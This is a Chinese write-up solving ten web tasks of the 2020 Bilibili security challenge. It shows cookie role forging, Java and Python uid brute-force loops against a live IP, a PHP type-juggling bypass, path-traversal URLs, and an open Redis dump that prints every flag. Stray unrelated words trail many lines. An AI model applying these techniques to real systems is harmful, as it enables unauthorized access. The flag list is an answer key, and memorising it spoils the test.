2020-1024程序員節首屆嗶哩嗶哩安全挑戰賽Write Up

第一題

「頁面的背後是什麼」 指網頁源代碼php

Ctrl+U 查看網頁源代碼 看到向一個地方發送了get請求java

發送一個請求,或者直接找找flag1相關的東西就能找到python

第二題

"真正的祕密只有特殊的設備才能看到"指須要使用bilibili Security Browser瀏覽器訪問git

使用抓包工具抓包程序員

把瀏覽器(UA)僞形成"bilibili Security Browser" github

須要注意的是若是是Postman須要添加Cookie redis

 

第三題

「密碼是啥」json

密碼是啥能夠 本身試,此外,用網上給的弱口令詞典是沒有前途的~api

第四題

"對不起,權限不足~"指你的身份不對瀏覽器

MD5 

假裝成 超級管理員

猜想角色名字,首字母大寫

第五題

Ctrl+U 查看網頁源代碼,看看它想要幹什麼

注意裏面有個神奇的uid

暴力遍歷要從合適的位置開始

Java版本 

for(int i=100336889;i<100999999;i++){
            Request.Builder builder1 = new Request.Builder();
            Request build1 = builder1.url("http://45.113.201.36/api/ctf/5?uid=" + i)
                    .header("Charset", "UTF-8")
                    .header("Connection", "Keep-Alive")
                    .header("Content-Type", "application/x-www-form-urlencoded")
                    .header("Cookie", "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")
                    .get()
                    .build();
            try{
                JSONObject j=JSONObject.parseObject(new HttpClient().newCall(build1).execute().body().string());
                //System.out.println(j);
                if(j.getString("code").equals("200")){
                    System.out.println(j.getString("data"));
                }else{
                    if(i%100==0){
                        System.out.println(i);
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }

        }

Python版本 

for uid in range(100336889,99999999999):

    params = (
        ('uid', uid),
    )

    response = requests.get('http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=False).json()
    if response['code'] != '403':
        print(response)
        print(uid)

 

第六題

「結束亦是開始」

硬猜獲得 /blog/end.php。

掃描

test.php

test.php的內容是jsfuck

執行 

 unicode 解碼後是「程序員最多的地方」=>GitHub

搜索

 https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php

<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
	$content = file_get_contents($_GET['url']);
	//文件路徑猜解
	if (false){
		echo "還差一點點啦~";
	}else{
		echo $flag;
	}
}else{
	echo "你想要的不在這兒~";
}
?>

構造參數URL

http://120.92.151.189/blog/end.php?id[]=1

結合前面題目的url猜想

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

這裏跳轉第十題

http://45.113.201.36/api/images?file=../../../flag7.txt 

這裏跳轉第七題 

http://45.113.201.36/api/images?file=../../../secret.txt

 

第七題

第六題中

http://45.113.201.36/api/images?file=../../../flag7.txt

第八題

第六題中

端口掃描

服務器開啓了6379端口,Redis的默認端口

[root@iz2ze77]# redis-cli -h 120.92.151.189 -p 6379
120.92.151.189:6379> keys *
 1) "flag4"
 2) "flag6"
 3) "flag7"
 4) "flag9"
 5) "flag8"
 6) "flag1"
 7) "flag2"
 8) "flag3"
 9) "flag5"
10) "flag10"
120.92.151.189:6379> get flag1
"3b96173a-b3df4cdd-22d4c15f-261e7309"
120.92.151.189:6379> get flag2
"bd871042-1e09a130-3ddd4faa-cebdb048"
120.92.151.189:6379> get flag3
"c7f7a7c2-28b7f895-5432152b-6410e042"
120.92.151.189:6379> get flag4
"d338e3c8-93215105-258d79ba-b364e59c"
120.92.151.189:6379> get flag5
"612d1886-044898af-6c1e9dba-b58ad075"
120.92.151.189:6379> get flag6
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
120.92.151.189:6379> get flag7
"b78ce2aa-10d03327-f2035f4e-55c17689"
120.92.151.189:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"
120.92.151.189:6379> get flag9
"b3238659-b81512e6-3a307c74-9877ecc5"
120.92.151.189:6379> get flag10
"e5653416-595b3d0c-4c2a57ee-c026350e"

 由於掃描的緣由,服務器很卡,容易掉線。

[root@iz2zeihez ~]# redis-cli -h 120.92.151.189 -p 6379
Could not connect to Redis at 120.92.151.189:6379: Connection refused
not connected> exit
[root@iz2zeihez ~]#

第九題

第六題中

 

第十題

 第六題中

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

下載

二進制編輯器打開

 

參考文章

2020嗶哩嗶哩bilibili安全挑戰賽前5題思路

如何評價 2020 年 Bilibili 安全挑戰賽?

Bilibili CTF

**只有超級管理員才能看wp**

bilibili ctf 第一題

Bilibili 2020 CTF

相關文章
相關標籤/搜索